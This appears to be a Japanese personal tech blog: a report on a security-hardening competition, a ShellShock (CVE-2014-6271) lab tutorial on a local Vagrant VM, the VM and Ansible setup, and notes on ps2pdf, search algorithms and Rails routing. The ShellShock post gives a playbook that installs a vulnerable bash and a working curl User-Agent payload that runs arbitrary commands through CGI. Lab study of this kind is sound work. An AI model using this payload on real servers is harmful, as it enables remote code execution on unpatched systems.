ヤマザキの地球偵察記録

ヤマザキさんの個人的な記録・備忘録です。

Hardening 1010 Cash Flowに参加して

Hardening 1010 Cash Flowに参加してきました。 以下は大まかな流れについての箇条書きです。

Hardeningについて

概要

  • チームごとに販売サイトを運営してその売上を競う
  • その間、各チームのシステムに対して運営側から攻撃が行われる
  • 攻撃をさばきつつ、システムを継続して運営して売上向上を目指す

チーム構成について

  • 1チーム6人
  • 参加者90名のスキルに応じてチームを構成する
    • 申し込みの段階で行うスキルチェックを基に行う
    • 事務対応要員、セキュリティエンジニア要員、マネジメント要員(リーダー)など

販売サイトについて

  • 顧客がアクセスするためのサイト
  • 商品を仕入れるためのサイト
  • 商品を管理するためのサイト
  • (販売サイトではないが)外部に向けて情報を流すサイト

Hardening事前準備

チームミーティング

  • テキストベースのやり取りはSluckを使用
    • Hardening当日の記録などもSluckを使用した
  • ビデオ会議はZoomを使用
    • 会議回数は3回ほど

スキルチェック

  • スキルチェックシートを記入してメンバーのスキルを把握
    • 前回Hardening参加メンバーが使用したというものを流用

各種情報共有

  • Googleスプレッドシートで管理
  • メンバー内の前回Hardening参加者によるHardeningについての説明
    • Sluckやビデオ会議時に軽く説明してもらった
    • 前回使用した資料などをメンバーに公開してもらった
  • 沖縄県内の前回Hardening参加者による勉強会などもあった

競技開始直後に実施することリスト

  • 競技開始直後に行う設定などを列挙し、コマンドまで明確に記述
    • 競技開始直後にこの手順に沿って行うことでスムーズに進めることを想定していた
  • スキルチェックシートを参考に担当を割り当て(自主的に選んでたりもした)

用意したスクリプト

Hardening前日

  • 競技環境についての資料が運営から配布される
  • 居酒屋にて打ち合わせ兼懇親会
    • 初めてチームメンバーが直接顔を合わせる
    • 皆で配布された資料に目を通す
      • 構成に対してFWポリシを決定するなど
  • 疲れが残らないよう10時半頃に居酒屋で解散

Hardening当日

競技開始前

  • 会場入口前に予定時刻より少し早めにチームメンバーが集合
  • 会場が開くまでロビーのベンチでダラダラと過ごす
    • チームによっては競技環境についての資料を読んでいるところもあった
  • 予定時刻になると受付からチーム名が呼ばれる
    • メンバーの確認
    • ネームプレートの配布
    • 懇親会費の支払い(リーダーにまとめて預けていたもの)

競技開始直後

  • 実際に競技環境を前にして様々なトラブルが続出
    • 踏み台サーバのUbuntuにログインできない
    • メールが受信できない
    • 販売サイトにアクセスできない
    • ネットワークが重すぎる
    • (上記の問題については時間が経つと解決していた。運営の設定ミスなどもあるらしい。)
  • 「競技開始直後にすることリスト」通りに作業を行おうとしたが、合間合間に色々と問題が起きてスムーズに事が進まなかった
    • 予め用意されているユーザのパスワード変更だけは徹底して行った
  • FWにポリシーを適用
    • 攻撃らしい攻撃は減ったが、クローラが入ってくるポートも制限していたらしく、売上が低迷
    • 再度ポリシーを修正して適用、売上の増加を確認した
  • 各種スクリプトの設置
    • 競技環境のデータベースの種類がpostgresqlだったため、mysqlバックアップスクリプトは使えず
    • ファイルバックアップ、サービス監視、ファイル改ざん検知スクリプトはいくつかのサーバに導入
      • 全てのサーバに設置する時間がなかったため、主要なサーバ(Web、DBサーバなど)にのみ設置した

競技中

  • 何もないときはログを眺めていた
    • 実は攻撃や問題に気付いてないだけの可能性もあった(実際どうなのか分からん)
  • マネジメント要員(リーダー)は常に在庫チェックなど行っていた
    • 途中で、商品を購入していないのに在庫を増やせるというバグらしきもの気づいたらしいが、あまり触らないようにしていたらしい
      • 競技終了後には、バグを利用して在庫不正追加を行ったチームについては最終的な売上から減額する措置を行った
  • 攻撃、問題が発覚したときは焦って頭が真っ白になる
    • 自分が何をするのか、何ができるのか分からなくなる
    • とりあえずログを見て何が起こっているか把握する必要があった
    • 連絡報告相談大事
  • 昼食時間はなし、各自合間の時間を活用して昼食を済ませる
    • キャプテンカンガルーのハンバーガー!
      • かなり美味でした
  • 美味しそうなコーヒーとお菓子の誘惑
    • ぶっちゃけ競技そっちのけで飲み食いしたかった気持ちがなきにしもあらず
    • まぁ取りに行く暇なんてない

競技後

  • 全てから解放された気持ちになる
  • やりきっていないがやりきった気持ちになる
  • 競技終了直前のカウントダウンは会場全体が一体感に包まれる

感想

今回初めてのHardening参加となりました。 競技前のミーティングでは話についていくので精一杯で、自分から何かを提案するということはあまりなかった気がします。 また、競技中も自分が何をやっていいか分からず、ひたすら雑務(パスワード変更とかパラメータ変更とか)をこなしていた感じがします。うーん、あまり力になれてない感。

今回の競技を通して、自分の力のなさがハッキリと分かりました。 知ってるけど、やり方は分からないみたいな。ペーパードライバー的な。 机上の勉強だけじゃなく、手も動かさないと身につかないなと感じました。

次回のHardeningに参加できるのであれば、それまでに自分が出来ることを一つでも身につけるよう頑張ります。

【CVE-2014-6271】ShellShockを試してみる

ShellShockはネットワーク越しに送信したコードのリモート実行を許可してしまう脆弱性。 CentOS6の場合はbashのバージョンが4.1.2-15.el6より古いとShellShockを起こされるらしい。

というわけで、ShellShockを起こしてみよう。

仮想マシンの準備

以下の記事で仮想マシンの設定を行っている。 手順通りに構築しよう。

仮想マシンの起動

まずは仮想マシンの起動から。 vulvm01のみ起動する。

$ vagrant up vulvm01

仮想マシンの状態保存

vagrantプラグイン"sahara"を使って状態を管理する。 以下のコマンドを実行するとOSの状態が記憶されて、ロールバックできたりする。

$ vagrant sandbox on vulvm01

Ansible

AnsibleのPlaybook作成

AnsibleでShellShockを起こす環境を作る。 ちなみにyumをAnsibleのyumモジュールを使わずにshellモジュールで実行しているのは、yum downgradeyumモジュールで実現出来なかったから。

$ emacs ~/vulvm/provisioning/CVE-2014-6271_shellshock.yaml

# Playbook
---
- hosts: test1
  become: yes
  user: vagrant
  tasks:
    - name: Apacheをインストール
      yum: name=httpd state=latest
    
    - name: httpd.confにcgiを実行するオプションを追記
      blockinfile:
          dest: /etc/httpd/conf/httpd.conf
          insertafter: "^<Directory \"/var/www/cgi-bin\">"
          content: |
              Options +ExecCGI
              AddHandler cgi-script .cgi

    - name: cgiテストファイルを作成
      copy:
          dest: /var/www/cgi-bin/script.cgi
          mode: 0755
          content: |
              #!/bin/bash
              echo "Content-type: text/plain"
              echo
              echo "This is a test script."

    - name: /var/www以下のファイルオーナーを変更
      file: path=/var/www state=directory recurse=yes owner=apache group=apache

    - name: httpdサーバを起動
      service: name=httpd enabled=yes state=started

    - name: bashのバージョンをbash-4.1.2-14.el6にダウングレード
      shell: yum downgrade -y http://vault.centos.org/6.4/os/x86_64/Packages/bash-4.1.2-14.el6.x86_64.rpm

Playbookの内容を反映

以下のコマンドを実行してPlaybookの内容を仮想マシンに反映させる。

$ ansible-playbook -i inventory/hosts provisioning/CVE-2014-6271_shellshock.yaml

ここまででShellShock脆弱性環境が出来ているはず。

実験

攻撃前に確認

ブラウザで以下のURLにアクセスする。

すると画面に以下のメッセージが出力される。

This is a test script.

これは正常な状態である。

攻撃開始

先ほどアクセスしたページに対応するファイルの書き換えを行ってみる。 以下のコマンドを実行する。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/echo 'echo "ShellShock"' >> /var/www/cgi-bin/script.cgi" http://192.168.32.101/cgi-bin/script.cgi

ここで、先程のURLにアクセスすると…

This is a test script.
ShellShock

cgiファイルが書き換えられたことにより、出力される値が変わっているのが分かる。

以下の形式で色々なコマンドを発行できるらしい。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;[任意のコマンド]" http://192.168.32.101/cgi-bin/script.cgi

こういうコマンドを駆使してページを書き換えてXSSCSRFとか起こすんだろうな。 今回はさすがにそこまではしないけど。

お片付け

攻撃し終えたら仮想マシンを初期の状態に戻そう。

$ vagrant sandbox rollback vulvm01

[vulvm01] Rolling back the virtual machine...
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%

これで状態を戻せたはずだ。

感想

ShellShockの仕組み自体は細かく見てないから分からないけど、やり方さえ分かれば簡単に使いこなせそう。 今のbashはバージョンがあがって対策がされてるからShellShockは通用しないけど、世の中のサーバには未だにパッチを充ててないのとかもあるわけで。 ちゃんと対策はしましょうね。

参考

攻撃対象マシンの構築

vagrantの設定がいろいろ間違っていたので修正しました(2017/05/31 )

脆弱性を突く攻撃を試験的に行うためのマシンを構築する。 仮想マシンの構築はVirtualBoxVagrantを用い、仮想マシン内部の環境構築についてはAnsibleを用いて行う。

攻撃の種類毎に仮想マシンを立ち上げて設定するのも面倒だから、vagrantプラグインsaharaを使って仮想マシンの初期の状態を保存しておいて、攻撃実験が終わったらロールバックして仮想マシンを初期状態に戻す。

  1. 仮想マシン構築(初期状態、状態を保存)
  2. Ansibleで脆弱性のある環境を構築(攻撃毎に内容の違う環境を構築)
  3. 脆弱性を突いた攻撃実験
  4. vagrantプラグインsaharaで仮想マシンの状態を初期状態にロールバック

こんな感じ。

ってことで、まずは仮想マシンの構築からやっていこう。

環境

仮想マシン一覧

  • 192.168.32.101(vulvm01)
  • 192.168.32.102(vulvm02)

手順

仮想マシンの準備

作業用フォルダを作成する。 基本的にこのフォルダ以下で作業を行う。

$ mkdir ~/vulvm

vagrantのbox追加する。

$ vagrant box add centos-6.8 https://github.com/CommanderK5/packer-centos-template/releases/download/0.6.8/vagrant-centos-6.8.box

vagrantの初期化をする。

$ vagrant init centos-6.8

Vagrantfileを編集する。

$ emacs ~/vulvm/Vagrantfile

# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
  config.vm.box = "centos-6.8"

  config.vm.define "vulvm01" do |server|
    server.vm.hostname = "vulvm01"
    server.vm.network "private_network", ip: "192.168.32.101"
  end

  config.vm.define "vulvm02" do |server|
    server.vm.hostname = "vulvm02"
    server.vm.network "private_network", ip: "192.168.32.102"
  end
end

公開鍵認証方式で、ホスト名指定してパスワードなしでログインできるようにする。 vagrant ssh使ってログインするとログインするまでに少し時間がかかるから、公開鍵認証方式にしてssh vulvm01みたいにログインする方がよいよい。

$ emacs ~/.ssh/config

Host vulvm01
  HostName 192.168.32.101
  User vagrant
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile ~/vulvm/.vagrant/machines/vulvm01/virtualbox/private_key
  IdentitiesOnly yes
  LogLevel FATAL

Host vulvm02
  HostName 192.168.32.102
  User vagrant
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile ~/vulvm/.vagrant/machines/vulvm02/virtualbox/private_key
  IdentitiesOnly yes
  LogLevel FATAL%

仮想マシンを起動する。 以下のコマンドだとvulvm01とvulvm02の2台が起動する。 どちらか一方を起動したい場合はvagrant up vulvm01のように引数に仮想マシン名(config.vm.defineで定義した名称)を渡してあげる。

$ vagrant up

これで仮想マシンの設定はおっけー。 次はAnsibleの設定するよ。

Ansible

Ansibeプロビジョニング対象ホスト定義フォルダ、ファイルを設置する。

$ mkdir ~/vulvm/inventory
$ emacs ~/vulvm/inventory/hosts

[test1]
vulvm01

[test2]
vulvm01
vulvm02

Playbook設置フォルダ、ファイルを設置する。

$ mkdir ~/vulvm/provisioning
$ emacs ~/vulvm/provisioning/test.yaml

- hosts: test1
  become: yes
  user: vagrant
  tasks:
     - name: ホスト名を取得する
       shell: hostname

テスト

仮想マシンとAnsibleの準備が整ったので、試しにテスト用のPlaybookファイルを走らせてみる。

$ ansible-playbook -i inventory/hosts provisioning/test.yaml

PLAY [test1] *******************************************************************

TASK [setup] *******************************************************************
ok: [vulvm01]

TASK [get hostname] ************************************************************
changed: [vulvm01]

PLAY RECAP *********************************************************************
vulvm01 : ok=2 changed=1 unreachable=0 failed=0

failed=0となっており、特に問題なく実行出来るはず。

仮想マシンを使い終わったら以下のコマンドで停止しよう。

$ vagrant halt

次回からはこの仮想マシンと、攻撃毎に個別に用意したPlaybookファイルを用意する。

eps形式のファイルをpdf形式に

ps2pdfを使う

変換にはps2pdfコマンドを使用するらしい。

$ ps2pdf [input file] [output file]

これでpdf形式に変換出来るが,キャンバスサイズの大きいepsイメージだと画像が切れてしまう。

しかも用紙の形式(a4かな?)になるから謎の余白が出来てしまう。

これを回避するために,epsファイルのBounding Boxに合わせてファイル生成するオプションを加えるのだとか。

$ ps2pdf -dEPSCrop [input file] [output file]

これで元のeps形式のイメージがpdf形式になって綺麗に出力される。

追記

pstopdfコマンドというのもあるらしく,これを使うとBounding Boxのサイズそのままで出力されるらしい。

試しに使ってみたが,綺麗に出力されていた。

しかし,変換後ファイルサイズが大きすぎる...。

情報工学レクチャーシリーズ:アルゴリズムとデータ構造 第三章「データの探索」

探索

  • 多くのデータの中から目的のデータを見つけること

線形探索法(Linear search)

  • 配列の先頭から順番に探索を行う
  • 平均時間計算量は {O(n)}

二分木探索法

  • 配列の中身がソートされていることが前提条件
  • 配列の真ん中の値(mid)が目的の値(x)と一致しているか調べる。一致しているのなら出力して処理終了。
  • mid < x なら探索する範囲を配列の後半部分に、mid > x なら探索する範囲を配列の前半部分にし、再度処理1を行う
  • 処理1, 2を繰り返し行った結果、探索する範囲の配列長が1以下になったら配列の中にxは存在していないので、処理終了
  • 平均時間計算量は {O(log n)}

ハッシュ法

データの格納方法

  • ハッシュ関数を用いて目的のデータの格納場所を決定する
  • ハッシュ化した値が重複した場合は、ハッシュ化した値に1を加えた場所に格納するなどの処理を行う

データの探索

  • データの格納方法同様、ハッシュ関数を用いて目的のデータの探索場所を決定する
  • 探索場所に目的の値がない場合はハッシュ化した値に1を加えるなどの処理を行い、再度探索を行う
  • 最良時間計算量は{O(1)}、最悪時間計算量は{O(n)}
  • データの個数が {n} 個、配列長が {m} のとき、平均時間計算量は {O(\frac{m}{m-n})}、基本的には {O(1)} になる

情報工学レクチャーシリーズ:アルゴリズムとデータ構造 第三章「アルゴリズムにおける基本概念」

  • ”グラフと呼ばれる数学的抽象概念の特殊系” ← 難しいな

  • 木はノード(接点)とそれらを結ぶエッジ(辺)から構成される

  • ノードにはルート(根)と呼ばれる木の起点が一つだけ存在する
  • 子を持たないノードをリーフ(葉)と呼ぶ
  • リーフ以外のノードを内部節点と呼ぶ

k分木

  • 木の中のどのノードも子をk個以下しか持たないとき、その木をk分木と呼ぶ
  • 全てのリーフのレベルが同じで、かつ全ての内部節点にk個の子を持つ場合、この木を完全k分木と呼ぶ

完全2分木

  • レベルがkの節点数は {2^{k}}
  • 高さをhとすると、リーフの数は {2^{h-1}}
  • リーフの数をmとすると、{1+log(m)}
  • 高さをhとすると、ノードの数は {2^{h} - 1}
  • ノードの数をnとすると、{log(n+1)}

再帰

Ruby on Rails の routing で使う match について

Rails4のルーティングの記述やら挙動がいまいちよくわからなかったので、ちょっと調べてみた。

ルーティングとは

  • config/routes.rbに記述する

  • URLから「どのコントローラー」の「どのアクション」に「どういうパラメータ」を与えて処理を実行するかを定義する

シンプルな例

「/tests/17 に HTTP GET すると、TestsController の hoge アクションを id=17 のパラメータで実行する」という設定。

# config/routes.rb
match "/tests/:id" => "tests#hoge", as: "tests", via: "get"

こっちは「/tests/17 に HTTP POST すると、TestsController の hoge アクションを id=17 のパラメータで実行する」という設定。

# config/routes.rb

match "/tests/:id" => "tests#show", as: "tests", via: "post"

上記のシンプル版

こっちが簡単で分かりやすい。

# config/routes.rb
get "/tests/:id" => "tests#show", as: "tests"
post "/tests/:id" => "tests#show", as: "tests"

Rails3の時のルーティング

:viaで HTTP METHOD を指定しなくてもデフォルトで HTTP GET になってたらしい。

# config/routes.rb
match "/tests/:id" => "tests#show", as: "tests"

なお、Rails4では指定してあげないと以下のようなエラーが出る。

You should not use the `match` method in your router without specifying an HTTP method.
If you want to expose your action to both GET and POST, add `via: [:get, :post]` option.
If you want to expose your action to GET, use `get` in the router:
  Instead of: match "controller#action"
  Do: get "controller#action"